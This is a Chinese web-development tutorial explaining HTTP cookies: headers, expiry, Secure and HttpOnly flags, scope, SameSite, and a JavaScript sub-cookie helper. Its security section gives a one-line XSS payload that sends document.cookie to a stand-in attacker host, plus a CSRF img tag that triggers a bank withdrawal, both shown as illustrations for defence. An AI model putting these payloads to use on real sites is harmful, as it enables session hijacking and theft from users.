何为cookie

HTTP Cookie(也叫Web Cookie或浏览器Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie使基于无状态的HTTP协议记录稳定的状态信息成为了可能。

应用

  • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 浏览器行为跟踪(如跟踪分析用户行为等)

Cookie曾一度用于客户端数据的存储,因当时并没有其它合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式,Cookie渐渐被淘汰。由于服务器指定Cookie后,浏览器的每次请求都会携带Cookie数据,会带来额外的性能开销(尤其是在移动环境下)。新的浏览器API已经允许开发者直接将数据存储到本地,如使用 Web storage API (本地存储和会话存储)或 IndexedDB 。

创建Cookie

  • 当服务器收到HTTP请求时,服务器可以在响应头里面添加一个Set-Cookie选项。浏览器收到响应后通常会保存下Cookie,之后对该服务器每一次请求中都通过Cookie请求头部将Cookie信息发送给服务器。另外,Cookie的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。

  • Set-Cookie响应头部和Cookie请求头部

服务器使用Set-Cookie响应头部向用户代理(一般是浏览器)发送Cookie信息。一个简单的Cookie可能像这样:

Set-Cookie: <cookie名>=<cookie值>

服务器通过该头部告知客户端保存Cookie信息。

  1. HTTP/1.0 200 OK
  2. Content-type: text/html
  3. Set-Cookie: yummy_cookie=choco
  4. Set-Cookie: tasty_cookie=strawberry

现在,对该服务器发起的每一次新请求,浏览器都会将之前保存的Cookie信息通过Cookie请求头部再发送给服务器。

  1. GET /sample_page.html HTTP/1.1
  2. Host: www.example.org
  3. Cookie: yummy_cookie=choco; tasty_cookie=strawberry

会话期Cookie

会话期Cookie是最简单的Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。会话期Cookie不需要指定过期时间(Expires)或者有效期(Max-Age)。需要注意的是,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期Cookie也会被保留下来,就好像浏览器从来没有关闭一样。

持久性Cookie

和关闭浏览器便失效的会话期Cookie不同,持久性Cookie可以指定一个特定的过期时间(Expires)或有效期(Max-Age)。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

当Cookie的过期时间被设定时,设定的日期和时间只与客户端相关,而不是服务端。

Cookie的Secure 和HttpOnly 标记

安全的Cookie只应通过HTTPS协议加密过的请求发送给服务端。即便设置了 Secure 标记,敏感信息也不应该通过Cookie传输,因为Cookie有其固有的不安全性,Secure 标记也无法提供确实的安全保障。从 Chrome 52 和 Firefox 52 开始,不安全的站点(http:)无法使用Cookie的 Secure 标记。

为避免跨域脚本 (XSS) 攻击,通过JavaScript的Document.cookie API无法访问带有 HttpOnly 标记的Cookie,它们只应该发送给服务端。如果包含服务端 Session 信息的 Cookie 不想被客户端 JavaScript 脚本调用,那么就应该为其设置 HttpOnly 标记。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Cookie的作用域

DomainPath 标识定义了Cookie的作用域:即Cookie应该发送给哪些URL。

Domain 标识指定了哪些主机可以接受Cookie。如果不指定,默认为当前文档的主机(不包含子域名)。如果指定了Domain,则一般包含子域名。

例如,如果设置 Domain=mozilla.org,则Cookie也包含在子域名中(如developer.mozilla.org)。

Path 标识指定了主机下的哪些路径可以接受Cookie(该URL路径必须存在于请求URL中)。以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配。

例如,设置 Path=/docs,则以下地址都会匹配:

  1. /docs
  2. /docs/Web/
  3. /docs/Web/HTTP

SameSite Cookies

SameSite Cookie允许服务器指定在跨站请求时该Cookie是否会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。但目前SameSite Cookie还处于实验阶段,并不是所有浏览器都支持。

JavaScript通过Document.cookies访问Cookie

通过Document.cookie属性可创建新的Cookie,也可通过该属性访问非HttpOnly标记的Cookie。

  1. document.cookie = "yummy_cookie=choco";
  2. document.cookie = "tasty_cookie=strawberry";
  3. console.log(document.cookie);
  4. // logs "yummy_cookie=choco; tasty_cookie=strawberry"

请留意在安全节提到的安全隐患问题,JavaScript可以通过跨站脚本攻击(XSS)的方式来窃取Cookie。

安全

当机器处于不安全环境时,切记不能通过HTTP Cookie存储、传输敏感信息。

会话劫持和XSS

在Web应用中,Cookie常用来标记用户或授权会话。因此,如果Web应用的Cookie被窃取,可能导致授权用户的会话受到攻击。常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。

  1. (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。

跨站请求伪造(CSRF)

维基百科已经给了一个比较好的CSRF例子。比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:

  1. <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

当你打开含有了这张图片的HTML页面时,如果你之前已经登录了你的银行帐号并且Cookie仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。有一些方法可以阻止此类事件的发生:

JS操作cookie

由于cookie的个数以及大小限制,出现了子cookie,它相当于cookie的一小段,格式可能类似下面这样:

name=name1=”Liu”&name2=”Yang”&name3=”Chen”

这就是一个名为name的cookie,但是它又有3个子cookie。

同样也可以利用JS写一个设置cookie或获取cookie的通用方法,但是主要这时设置可以设置某个cookie选项,也可以设置某个cookie 选项中某一个子cookie的值

  1. var UtilCookie = {
  2. get : function(Cname, name){
  3. var data = this.getAllCookie(Cname);
  4. if(data[name])
  5. return data[name];
  6. else
  7. return false;
  8. },
  9. getAllCookie : function(cookieName){
  10. cookieName = cookieName + "=";
  11. var res = {};
  12. var CStart = document.cookie.indexOf(cookieName);
  13. if(CStart != -1)
  14. {
  15. var CEnd = document.cookie.indexOf(";", CStart);
  16. if(CEnd == -1)
  17. {
  18. CStartStr = document.cookie.substring( CStart + cookieName.length);
  19. var part = CStartStr.split("&");
  20. for(var i = 0; i < part.length; i++)
  21. {
  22. var partP = part[i].split("=");
  23. res[partP[0]] = partP[1];
  24. }
  25. }
  26. else
  27. {
  28. CStartStr = document.cookie.substring( CStart + cookieName.length, CEnd);
  29. var part = CStartStr.split("&");
  30. for(var i = 0; i < part.length; i++)
  31. {
  32. var partP = part[i].split("=");
  33. res[partP[0]] = partP[1];
  34. }
  35. }
  36. return res;
  37. }
  38. else
  39. {
  40. return false;
  41. }
  42. },
  43. setAll: function(Cname, subcookie, expires, path, domain, secure){
  44. var CText = encodeURIComponent(Cname) + "=";
  45. var Arr = [];
  46. for(subName in subcookie)
  47. {
  48. if(subName.length > 0 && subcookie.hasOwnProperty(subName))
  49. {
  50. Arr.push(encodeURIComponent(subName) + "=" + encodeURIComponent(subcookie[subName]));
  51. }
  52. }
  53. if(Arr.length > 0)
  54. {
  55. CText += Arr.join("&");
  56. }
  57. if(expires instanceof Date)
  58. {
  59. CText += ";expires=" + expires.toGMTString();
  60. }
  61. if(path)
  62. {
  63. CText += ";path=" + path;
  64. }
  65. if(domain)
  66. {
  67. CText += ";domain=" + domain;
  68. }
  69. if(secure)
  70. {
  71. CText += ";secure";
  72. }
  73. document.cookie = CText;
  74. },
  75. set : function(name, subName, value, expires, domain, path, secure){
  76. var subcookie = this.getAllCookie(name);
  77. subcookie[subName] = value;
  78. this.setAll(name, subcookie, expires, path, domain, secure);
  79. },
  80. removeCookie: function(name){
  81. //删除cookie时将其过期时间设为过去的一个时间就可以了
  82. this.set(name, '', new Date(0));
  83. }
  84. }
  85. //子cookie的格式: name=name1="Liu"&name2="Hellen"&name3="Yang";
  86. UtilCookie.setAll( "name", { name1:"Liu", name2:"Yang", family:"YL" });
  87. UtilCookie.get("name", "name1");

文章参考

转载注明出处

何为cookie?的更多相关文章

  1. Cookie与Session

    再说Cookie与Session之前,先要了解一下http协议. 何为http协议: http协议即超文本传输协议,一种基于浏览器请求与服务器响应的协议,该协议主要的特点就是它是一种无状态的协议(只针 ...

  2. Django组件之cookie、session

    一.cookie 1.1 产生背景 HTTP协议是无状态的,对服务器来说,每次的请求都是独立的.状态可以理解为客户端和服务器在某次会话中产生的数据,那无状态的就以为这些数据不会被保留.会话中产生的数据 ...

  3. ASP.NET中Cookies的使用

    准备开始写后台代码了,不过刚看到cookies就傻眼了,网上搜集了一些资料,总结了一下,初学者可以看看. 创建COOKIES System.Web.HttpCookie cookie=new Http ...

  4. Cookie--小知识总结

    一.何为cookie 由于http协议是无状态的,所以没法知道当前访问的客户端是谁,所以有了cookie这个东西,通过cookie来让服务端知道当前是谁访问我,可以看做是一个身份牌 二.cookie的 ...

  5. cookie学习指南

    一.什么是cookie cookie也叫HTTP cookie,最初是用来客户端和服务器端进行会话用的,由于HTTP是一种无状态的协议,为了维持用户和跟踪用户信息,所以引入了cookie和sessio ...

  6. 基于cookie使用过滤器实现客户每次访问自登陆一次

    原创声明:本文为本人原创作品,绝非他处摘取,转载请联系博主 相信大家在各大网站都会遇到,登录时,在登录框出现下次免登陆/一个月免登陆的类似选项,本次博文就是讲解如何实现,在这记录一下,也算是做个备忘录 ...

  7. 一个Login页面全面了解session与cookie

    背景 做了四年的前端开发,对外一直说自己是web开发,那么身为一个web开发怎能不知道session与cookie以及其管理方式呢~ Login涉及技术栈:Nodejs,MongoDB,Express ...

  8. 何为session?

    何为session 在计算机中,尤其是在网络应用中,称为"会话控制".session 对象存储特定用户会话所需的属性及配置信息.这样,当用户在应用程序的 Web 页之间跳转时,存储 ...

  9. 什么是Http无状态?Session、Cookie、Token三者之间的区别

    一.什么是HTTP无状态? 1.1定义: HTTP无状态协议,是指协议对于交互性场景没有记忆能力. 1.2举个例子: 在点击一个纯的html网页,请求获取服务器的html文件资源时,每次http请求都 ...

随机推荐

  1. Android-系统绘图真相

    系统绘图真相:这篇博客是专门讲解,系统内部是如何控制图片的变化,例如:图片缩放/图片旋转/图片平移/等等 注意:⚠️在真实开发过程中:关于图片的 图片缩放/图片旋转/图片平移/等等 操作 是使用动画A ...

  2. Git Note - Branch

    1. add a new branch cd workspace git branch user1/newbranch1 git checkout user1/newbranch1 or git ch ...

  3. MVC v5.1 Preview 包含 web api 2.1 web pages 3.1

    Includes ASP.NET MVC 5.1, Web API 2.1, and Web Pages 3.1 preview release. This was released marked a ...

  4. pycharm设置及激活码

    电脑上装了python2.7和python3.6两个版本(之前用的都是python3,因为要学习机器学习和深度学习了,机器学习的有些模块还没有更新到python3,于是乎又装了python2)为了能在 ...

  5. wp调用百度服务api

    通过百度开放平台申请api成功后,百度会提供一个application key简称ak和一个security key简称sk. 看一下某个服务url的格式 1. url前缀 2. 服务类型 3. 参数 ...

  6. UDP实现一个简易的聊天室 (Unity&&C#完成)

    效果展示(尚未完善) UDP User Data Protocol 用户数据报协议 概述 UDP是不连接的数据报模式.即传输数据之前源端和终端不建立连接.使用尽最大努力交付原则,即不保证可靠交付. 数 ...

  7. C博客作业06—结构体&指针

    1.本章学习总结 1.1思维导图 1.2本章学习体会 明白了结构体的定义及使用方法 学会了fopen,fclose,feof等文件操作函数,学会使用c语言进行文件操作 大作业中的部分函数出现未知错误且 ...

  8. NOI2019省选模拟赛 第三场

    传送门 明明没参加过却因为点进去结果狂掉\(rating\)-- \(A\) 集合 如果我们记 \[f_k=\sum_{i=1}^nT^i{n-i\choose k}\] 那么答案显然就是\(f_{k ...

  9. Linux下查找命令

    在CentOs下查找某个目录下的某个文件,使用如下指令: find /目录 -name 文件名 eg:查找当前目录下关于hadoop的文件 find / -name hadoop

  10. Usboot V1.68版本

    V1.68版本,我的收藏之一 官方的介绍: 市面上现在大多数U盘都支持启动机器的功能,但是要制作启动型U盘,需要进入WIN98,现在很多人机器 上都没有98了吧,呵呵.为了做个启动盘,装一个98,多冤 ...